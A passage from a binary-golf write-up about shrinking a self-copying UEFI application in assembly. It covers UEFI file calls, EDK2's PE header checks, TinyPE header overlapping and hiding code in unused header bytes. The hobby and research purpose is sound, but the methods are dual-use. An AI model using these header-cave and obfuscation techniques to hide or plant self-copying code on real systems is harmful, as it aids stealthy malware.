&lt;p>Now that we have a buffer containing the original file&amp;rsquo;s data, we need to write it to the new file. The new file needs to be created using the &lt;code>Open()&lt;/code> call, but with the &lt;code>EFI_FILE_MODE_CREATE&lt;/code> flag set in the &lt;code>OpenMode&lt;/code>.&lt;/p>
&lt;h4 id="using-five-arguments-in-a-call">Using Five Arguments In A Call&lt;/h4>
&lt;p>If you call Open() with &lt;code>EFI_FILE_MODE_CREATE&lt;/code>, you need to pass a fifth argument to the function. When you are using five arguments, the Calling Conventions say that the fifth argument needs to be on the stack. I had tried a few things to set the stack up properly, but I kept getting a Bad Parameter error from the Open call. I was wondering if it was an alignment issue or something else, but I couldn&amp;rsquo;t find any references to how to arrange the stack for this.&lt;/p>
&lt;p>I talked to ic3qu33n about this, and she told me that the stack needed to be 0x20 bytes. I implemented this and was excited to finally copy my file. It was here that I realized the the buffer was full of uninitialized memory, with the pattern &lt;code>0xfa&lt;/code> over and over.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/bggp4-uefi/UEFIGolf_Uninitialized_Memory.png" alt="">&lt;/p>
&lt;p>My &lt;code>BufferSize&lt;/code> was a value and not a reference, so the Buffer that I tried to write was full of junk data. This confusion drove me insane for a bit, thinking that I had messed my handle up somewhere. It was only when I looked at the spec again in depth and realized that the BufferSize needed to be a pointer that it worked.&lt;/p>
&lt;h4 id="file-write">File Write&lt;/h4>
&lt;p>Now that the new file is open, we can write the buffer containing the original file&amp;rsquo;s contents to the new file. You do that by doing calling &lt;a href="https://uefi.org/specs/UEFI/2.10/13_Protocols_Media_Access.html#efi-file-protocol-write">EFI_FILE_WRITE&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="n">EFIAPI&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">EFI_FILE_WRITE&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IN&lt;/span> &lt;span class="n">EFI_FILE_PROTOCOL&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">This&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1">// rcx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">IN&lt;/span> &lt;span class="n">OUT&lt;/span> &lt;span class="n">UINTN&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">BufferSize&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1">// rdx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">IN&lt;/span> &lt;span class="n">VOID&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">Buffer&lt;/span> &lt;span class="c1">// r8
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>This call was pretty straightforward to implement in assembly.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-nasm" data-lang="nasm">&lt;span class="line">&lt;span class="cl">&lt;span class="nl">WriteNewFile:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nv">r8&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rbp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="nb">Al&lt;/span>&lt;span class="nv">locatePoolBuffer_o&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; r8 = *Buffer&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">lea&lt;/span> &lt;span class="nb">rdx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rbp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="nv">ImageSize_o&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; rdx = *BufferSize&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rcx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rbp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="nv">NewFileHandle_o&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; rcx = *This&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">rcx&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rax&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="nv">EFI_FILE_PROTOCOL_Write&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">call&lt;/span> &lt;span class="nb">rax&lt;/span> &lt;span class="c1">; Call EFI_FILE_PROTOCOL::Write()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Now that we have the file written, all we have to do is call &lt;a href="https://uefi.org/specs/UEFI/2.10/13_Protocols_Media_Access.html#efi-file-protocol-close">EFI_FILE_CLOSE&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="n">EFIAPI&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">EFI_FILE_CLOSE&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IN&lt;/span> &lt;span class="n">EFI_FILE_PROTOCOL&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">This&lt;/span> &lt;span class="c1">// rcx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And that&amp;rsquo;s it! Now that we have the logic down, let&amp;rsquo;s start looking at the PE parser!&lt;/p>
&lt;h2 id="how-does-uefi-load-images">How Does UEFI Load Images?&lt;/h2>
&lt;p>When you run an application, the UEFI firmware calls a Boot Service known as &lt;a href="https://uefi.org/specs/UEFI/2.10/07_Services_Boot_Services.html#efi-boot-services-loadimage">LoadImage&lt;/a>. This function loads an EFI image into memory and returns a handle to that image. There are actually two types of binaries you can load using LoadImage: Portable Executables (PE) and Terse Executables.&lt;/p>
&lt;p>The &lt;a href="https://uefi.org/specs/PI/1.8/V1_TE_Image.html">Terse Executable&lt;/a> is a stripped down version of the PE, which was made for UEFI. This seemed like an interesting avenue to explore, but I decided to focus on the PE loader for this challenge and writeup because I wanted cover a deeper dive into &lt;a href="https://github.com/tianocore-docs/edk2-UefiDriverWritersGuide/blob/master/5_uefi_services/52_services_that_uefi_drivers_rarely_use/524_loadimage_and_startimage.md">LoadImage and StartImage&lt;/a> and experiments with TE in a later writeup. There are Kaitai structs for &lt;a href="https://formats.kaitai.io/uefi_te/index.html">TE files&lt;/a> if you&amp;rsquo;re interested in exploring more.&lt;/p>
&lt;p>Lets take a look at how LoadImage eventually gets to the PE and TE parser.&lt;/p>
&lt;pre tabindex="0">&lt;code>Call Stack:
BootServices // MdeModulePkg/Core/Dxe/DxeMain/DxeMain.c
CoreLoadImage // MdeModulePkg/Core/Dxe/Image/Image.c
CoreLoadImageCommon // MdeModulePkg/Core/Dxe/Image/Image.c
CoreLoadPeImage // MdeModulePkg/Core/Dxe/Image/Image.c
PeCoffLoaderGetImageInfo // MdePkg/Library/BasePeCoffLib/BasePeCoff.c
PeCoffLoaderGetPeHeader // MdePkg/Library/BasePeCoffLib/BasePeCoff.c
There is another BasePeCoff.c with similar functions in BaseTools/Source/C/Common/, but it&amp;#39;s not referenced here.
&lt;/code>&lt;/pre>&lt;p>The LoadImage boot service is referred to as &lt;code>CoreLoadImage&lt;/code> in the codebase. It invokes a chain of functions that eventually lead to the parser logic, a function called &lt;code>PeCoffLoaderGetPeHeader&lt;/code>.&lt;/p>
&lt;blockquote>
&lt;p>I used &lt;a href="https://github.com/universal-ctags/ctags">ctags&lt;/a> in vim to navigate this codebase. It made it a lot easier to find the real definitions of functions and structures than even vscode or github. Thanks to xcellerator for putting me on to it.&lt;/p>
&lt;/blockquote>
&lt;p>When &lt;a href="https://github.com/tianocore/edk2/blob/94c802e108a082d6f74c854bea8bd98fe7808453/MdePkg/Library/BasePeCoffLib/BasePeCoff.c#L46">PeCoffLoaderGetPeHeader&lt;/a> is called, it checks the following things:&lt;/p>
&lt;ol>
&lt;li>&lt;code>OptionalHeader.NumberOfRvaAndSizes&lt;/code> - Needs to be correct&lt;/li>
&lt;li>&lt;code>FileHeader.SizeOfOptionalHeader&lt;/code> - Size needs to be correct&lt;/li>
&lt;li>&lt;code>FileHeader.NumberOfSections&lt;/code> - Number needs to match the number of section headers&lt;/li>
&lt;li>&lt;code>OptionalHeader.SizeOfHeaders&lt;/code>
&lt;ol>
&lt;li>Read last byte of &lt;code>Hdr.Pe32.OptionalHeader.SizeOfHeaders&lt;/code> to confirm that the headers are the correct size&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>Check there are enough &lt;a href="https://0xrick.github.io/win-internals/pe5/">Image Directory Entries&lt;/a> to contain &lt;code>EFI_IMAGE_DIRECTORY_ENTRY_SECURITY&lt;/code>&lt;/li>
&lt;/ol>
&lt;p>Looking at the code for step 5., we can see that it&amp;rsquo;s checking if the NumberOfRvaAndSizes field is greater than &lt;a href="https://github.com/tianocore/edk2/blob/dc7cfa9bab7487aa0cec02d13aa8c34ff24b37a8/MdePkg/Include/IndustryStandard/PeImage.h#L127">EFI_IMAGE_DIRECTORY_ENTRY_SECURITY&lt;/a> which means that we need at least 6 Image Directories because the SECURITY entry is the 5th entry in the table.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">127
&lt;/span>&lt;span class="lnt">128
&lt;/span>&lt;span class="lnt">129
&lt;/span>&lt;span class="lnt">130
&lt;/span>&lt;span class="lnt">131
&lt;/span>&lt;span class="lnt">132
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// Check the EFI_IMAGE_DIRECTORY_ENTRY_SECURITY data.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// Read the last byte to make sure the data is in the image region.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// The DataDirectory array begin with 1, not 0, so here use &amp;lt; to compare not &amp;lt;=.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">//
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">EFI_IMAGE_DIRECTORY_ENTRY_SECURITY&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Hdr&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Pe32Plus&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">OptionalHeader&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">NumberOfRvaAndSizes&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Hdr&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Pe32Plus&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">OptionalHeader&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">DataDirectory&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">EFI_IMAGE_DIRECTORY_ENTRY_SECURITY&lt;/span>&lt;span class="p">].&lt;/span>&lt;span class="n">Size&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Now that we know the logic to get the header past the parser checks, we can experiment. I wrote a goofy script &lt;a href="./old/pe_filz.py">pe_filz.py&lt;/a> to instrument my entire existing app and generate configurations of file header elements that would result in a binary that I could use to test. It&amp;rsquo;s extremely hacky, but it worked. I was able to get the binary that just printed a string from 48KB down to 416 bytes.&lt;/p>
&lt;p>The minimum viable PE header to load an application was&lt;/p>
&lt;ul>
&lt;li>MZ Header&lt;/li>
&lt;li>PE Header&lt;/li>
&lt;li>Optional Header&lt;/li>
&lt;li>6 data directories (All blank)&lt;/li>
&lt;li>A section header describing the .text section&lt;/li>
&lt;li>Code&lt;/li>
&lt;/ul>
&lt;h2 id="golfing-the-binary">Golfing The Binary&lt;/h2>
&lt;p>&lt;img src="https://n0.lol/bggp4-uefi/GolfGame.png" alt="">
&lt;em>Realistic Golfing Action&lt;/em>&lt;/p>
&lt;p>Now for the fun part, reducing the total size of the binary, by any means necessary.&lt;/p>
&lt;h3 id="tinype">TinyPE&lt;/h3>
&lt;p>TinyPE is a technique for making a very small PE header, which reduces the size of the file and can also provide some obfuscation. I wrote about TinyPEs for x64 bit &lt;a href="https://n0.lol/a/pemangle.html">here&lt;/a>, with info about why it works. I decided to test the &lt;a href="https://github.com/netspooky/kimagure/blob/main/pe32template.asm">TinyPE template&lt;/a> I made for a Windows shellcode tool I wrote called &lt;code>kimagure&lt;/code>. This template was useful for generating small, reliable Windows binary payloads.&lt;/p>
&lt;p>The trick that TinyPE relies on is setting the MZ header field &lt;code>e_lfanew&lt;/code> to 0x04, which tells the loader that the PE header starts 4 bytes into the file. This overlays the PE header on the DOS header, without interfering with important values in either. The DOS header&amp;rsquo;s &lt;code>e_lfanew&lt;/code> overlaps with the PE header&amp;rsquo;s &lt;code>SectionAlignment&lt;/code>, which is valid for both. This logic is performed in &lt;code>PeCoffLoaderGetPeHeader&lt;/code> &lt;a href="https://github.com/tianocore/edk2/blob/94c802e108a082d6f74c854bea8bd98fe7808453/MdePkg/Library/BasePeCoffLib/BasePeCoff.c#L103">here&lt;/a>&lt;/p>
&lt;p>I had to change a few things about the existing TinyPE template I had, but since I already had the structure of the minimum viable UEFI app documented, it was easier than expected. I made sure to add the data directories and the section header I needed, and then my example code.&lt;/p>
&lt;p>I built the code using nasm and put it in the root folder for OVMF.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">nasm -f bin bggp4.uefi.asm -o root/a
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I ran it, and it worked!&lt;/p>
&lt;p>If you&amp;rsquo;re curious about more TinyPE explorations, check out:&lt;/p>
&lt;ul>
&lt;li>This &lt;a href="https://www.pouet.net/topic.php?which=9565">discussion&lt;/a> on pouet.net&lt;/li>
&lt;li>This &lt;a href="https://github.com/ayaka14732/TinyPE-on-Win10">repo&lt;/a> about creating TinyPEs for Windows 10&lt;/li>
&lt;/ul>
&lt;p>Also, UEFI has the same size limitation as 64 bit windows, which is 268 bytes. This is dictated by some sanity checks that calculate the expected size of certain header elements.&lt;/p>
&lt;h3 id="creating-a-testing-script">Creating A Testing Script&lt;/h3>
&lt;p>Now in the phase of making rapid changes to test my binary, I needed a way to speed up the slow process of manually running and interacting with OVMF in QEMU. There is a 5 second countdown before you get to the shell, and you need to press enter to move past it.&lt;/p>
&lt;p>During my early debugging adventures for UEFI, I explored the QEMU &lt;a href="https://qemu-project.gitlab.io/qemu/system/monitor.html">HMP&lt;/a> and &lt;a href="https://wiki.qemu.org/Documentation/QMP">QMP&lt;/a> protocols. HMP lets you run commands in the QEMU monitor that you can use to do things like start and stop the vm, inspect the state etc. The QMP protocol is similar, except it&amp;rsquo;s a json API.&lt;/p>
&lt;p>I decided to instrument QEMU using a simple script that would build my code, do a hexdump using &lt;a href="https://github.com/netspooky/yxd">yxd&lt;/a>, start qemu, and send commands over a TCP socket to the HMP monitor to execute the binary and then compare the original file with the newly created file. After running, the script would read the VM output from a log file and report to me. All told, this script took about 4.5 seconds to execute, which was good enough for me in practice. I had explored the idea of using or building a snapshot fuzzer, but it was ultimately overkill for what I was trying to do.&lt;/p>
&lt;p>This script is called &lt;a href="./test_app_qemu.py">test_app_qemu.py&lt;/a> in this repo.&lt;/p>
&lt;p>PROTIP: nasm can create a list of symbols in your assembly code by adding this to the top of your source. This will generate a file called &lt;code>mybin.map&lt;/code>. This is super useful for debugging!&lt;/p>
&lt;pre tabindex="0">&lt;code>[map all mybin.map]
&lt;/code>&lt;/pre>&lt;h3 id="exploring-the-caves">Exploring The Caves&lt;/h3>
&lt;p>Knowing that there were only a few places that actually mattered in the loader, I could start confirming all the bytes in the header that were free to overwrite. I made a list of hot spots I wanted to explore based on what was already 0 in the header, and then started putting the pattern 0xAA55 wherever I could. Then I put the string &amp;ldquo;FREE&amp;rdquo; in all of those places to test with another value, and everything still worked as it should. This resulted in 116 bytes in the file header which were free for me to put code and data into.&lt;/p>
&lt;p>This is a table of offsets that represents free areas in the header.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Start&lt;/th>
&lt;th>End&lt;/th>
&lt;th>Size&lt;/th>
&lt;th>Note&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>0x0C&lt;/td>
&lt;td>0x18&lt;/td>
&lt;td>12&lt;/td>
&lt;td>FREE&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>0x1E&lt;/td>
&lt;td>0x2C&lt;/td>
&lt;td>14&lt;/td>
&lt;td>FREE&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>0x34&lt;/td>
&lt;td>0x3C&lt;/td>
&lt;td>8&lt;/td>
&lt;td>ImageBase - Is touchy&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>0x44&lt;/td>
&lt;td>0x54&lt;/td>
&lt;td>16&lt;/td>
&lt;td>FREE&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>0x5C&lt;/td>
&lt;td>0x60&lt;/td>
&lt;td>4&lt;/td>
&lt;td>FREE&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>0x60&lt;/td>
&lt;td>0x62&lt;/td>
&lt;td>2&lt;/td>
&lt;td>Needs to be 0x0A :((&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>0x62&lt;/td>
&lt;td>0x88&lt;/td>
&lt;td>38&lt;/td>
&lt;td>FREE&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>0x8C&lt;/td>
&lt;td>0xAC&lt;/td>
&lt;td>32&lt;/td>
&lt;td>FREE&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>The 8 byte ImageBase field in the header is actually used in the code, so you have to be careful about what you put in there if you decide to use it. There was also an annoying 2 byte field for the Subsystem that needed to be 0x0A.&lt;/p>
&lt;p>This is what the binary looked like at this point.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/bggp4-uefi/UEFIGolf_FreeSpaces.png" alt="">&lt;/p>
&lt;p>To be able to jump back into the header, I had to make sure that the &lt;code>.text&lt;/code> section containing the code was located directly after the header in memory. I adjusted the value of &lt;code>AddressOfEntrypoint&lt;/code> in the PE header, and the virtual address in the section header to make this happen.&lt;/p>
&lt;p>I also needed to confirm that the header didn&amp;rsquo;t change in memory. Sometimes the header can be modified or destroyed in memory by the loading process, so it&amp;rsquo;s not always a reliable place to store anything. In this case it was perfectly intact!&lt;/p>
&lt;p>I dumped the header from memory to a file with this command in gdb:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">(gdb) dump binary memory pe_header_in_memory.bin 0x6222000 0x62220E4
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="jmping-around-the-header">jmp&amp;rsquo;ing Around The Header&lt;/h3>
&lt;p>Now I knew it was all working as expected, I started moving code up into the header. To do this, you need to know the actual size of the bytes for each instruction in your code. I used ndisasm to print out the disassembly for my binary so I could see the bytes for the instructions.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">ndisasm -b &lt;span class="m">64&lt;/span> root/a
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now I can look at the total size of instructions and make sure that my assembler is doing the things I want it to do. Here&amp;rsquo;s an example of the disassembly for the first 6 instructions of the code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">000000E4 89E5 mov ebp,esp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">000000E6 51 push rcx
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">000000E7 52 push rdx
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">000000E8 89D3 mov ebx,edx
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">000000EA 89D0 mov eax,edx
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">000000EC 488B5B60 mov rbx,[rbx+0x60]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I started dividing my code up into little chunks that were the size of the header areas I could store code in. I had to account for the size of short jumps that will need to go at the end of each chunk. These are 2 byte instructions that can jump forward or backwards, but they can only jump a limited distance. The furthest number of bytes you can jump backwards is 125. It&amp;rsquo;s really 127 bytes, but because it jumps from the next instruction&amp;rsquo;s offset, you have to account for the two bytes of the instructions.&lt;/p>
&lt;p>Since the start offset is 0xE4, the furthest back you could jump from there is 0x69, because it&amp;rsquo;s 127 bytes from offset 0xE6. This offset in the file falls in the range of a large block of free bytes toward the end of the header. I put a jump at a location that would allow me to jump further up into the header, without adding to the size of the code in the .text section due to larger instruction size for longer jump distances. I also put a jump before it while developing, so I could have a reliable path back into the main code.&lt;/p>
&lt;p>For more info on Short Jumps I refer you to my fav reference, The Starman&amp;rsquo;s Realm &lt;a href="https://thestarman.pcministry.com/asm/2bytejumps.htm">Using SHORT (Two-byte) Relative Jump Instructions&lt;/a>. I highly recommend you check that page out if you are interested in sizecoding on x86!!&lt;/p>
&lt;p>&lt;img src="https://n0.lol/bggp4-uefi/Metroid_Space_Jump.png" alt="">
&lt;em>Super Metroid Space Jump&lt;/em>&lt;/p>
&lt;p>Using this jump spot, I started carefully removing the header definitions and replacing them &lt;code>nop&lt;/code> instructions. This gave me a canvas to start painting my code chunks on. I worked a few instructions at a time, making sure that the header code made it back to the main code.&lt;/p>
&lt;p>On each major change I did, I tested the output with my script, and confirmed that it all worked. Sometimes I could just tell I messed something up due to how the bytes were structured in the PE, and the fixes would usually involve adding or removing nops to put everything back where it goes.&lt;/p>
&lt;p>Once I was satisfied with stuffing the header, I worked on optimizing the rest of the code.&lt;/p>
&lt;h3 id="types-of-optimizations-i-did">Types Of Optimizations I Did&lt;/h3>
&lt;p>Instead of going through everything, I wanted to just describe the different types of optimizations I applied to the code. Most of the code is just calling UEFI Services and Protocol functions, so many changes could be applied to each block of code.&lt;/p>
&lt;h4 id="assuming-addresses-are-32-bit">Assuming Addresses Are 32 Bit&lt;/h4>
&lt;p>Although we are in 64 bit mode, the addresses used in OVMF are 32 bits. This means that doing register to register movs on the 32 bit form of each register was safe to do.&lt;/p>
&lt;p>By using the 32 bit registers, 1 byte can be saved per instruction.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">0: 48 89 d3 mov rbx,rdx ; 3 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">3: 89 d3 mov ebx,edx ; 2 bytes!
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Doing a register to register mov instruction will clear the top 32 bits of the register. This is okay for OVMF, but in other environments, you typically don&amp;rsquo;t want to do this unless you&amp;rsquo;re sure that no addresses will used more than 32 bits. When doing a &lt;code>mov&lt;/code> on the the smaller forms of registers, only the 32 bit form will clear the top bits. For the 16 bit and 8 bit versions, it leaves the upper bits as is.&lt;/p>
&lt;p>Table of how different register sizes affect &lt;code>mov&lt;/code> in 64 bit mode. I cover this more in &lt;a href="https://github.com/netspooky/i2ao/blob/master/txt/3.txt">i2ao&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-nasm" data-lang="nasm">&lt;span class="line">&lt;span class="cl">&lt;span class="nf">mov&lt;/span> &lt;span class="nb">rbx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">rdx&lt;/span> &lt;span class="c1">; Moves data to all 64 bits of rbx&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">mov&lt;/span> &lt;span class="nb">ebx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">edx&lt;/span> &lt;span class="c1">; Moves data to bottom 32 bits of rbx, clears top 32&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">mov&lt;/span> &lt;span class="nb">bx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">dx&lt;/span> &lt;span class="c1">; Moves data to bottom 16 bits of rbx, doesn&amp;#39;t touch the rest.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">mov&lt;/span> &lt;span class="nb">bl&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">dl&lt;/span> &lt;span class="c1">; Moves data to bottom 8 bits of rbx, doesn&amp;#39;t touch the rest.&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I used my assembly REPL &lt;a href="https://github.com/netspooky/scare">scare&lt;/a> to emulate some instructions so I can confirm it does what I expect it to.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">python3 -m pip install scare
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">scare -a x64
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In the REPL, you can type &lt;code>not rdx&lt;/code> to get a bunch of 0xFFs in rdx. Then play with the different sized movs to see how the registers are affected.&lt;/p>
&lt;h4 id="storing-data-in-the-header">Storing Data In The Header&lt;/h4>
&lt;p>I tried to use the header as much as possible to store static values, but it wasn&amp;rsquo;t always the best option. The header is fairly far from where most of the code is, so loading data from a relative address can result in code that is larger than what you&amp;rsquo;re trying to optimize. This was the case for the large Attributes value in the call to Create on the new file. I ended up just doing an assembly optimization to make that smaller instead. (see the code)&lt;/p>
&lt;p>I reused the PE headers &lt;code>BaseOfCode&lt;/code> as the new file&amp;rsquo;s name, which was conveniently a 4 byte field that is the exact size of a utf-16 &amp;ldquo;4&amp;rdquo;.&lt;/p>
&lt;h4 id="assuming-rax-is-0-after-calls">Assuming RAX Is 0 After Calls&lt;/h4>
&lt;p>When you call a UEFI function, it usually returns the EFI_STATUS. The status EFI_SUCCESS is 0, which means the call succeeded. There were a lot of times where I needed a 0 on the stack, so I used rax as if it had a reliable 0. This allowed me to just &lt;code>push rax&lt;/code> (1 byte) instead of having the xor another register (3 bytes) and then push.&lt;/p>
&lt;h4 id="reusing-values-in-registers">Reusing Values In Registers&lt;/h4>
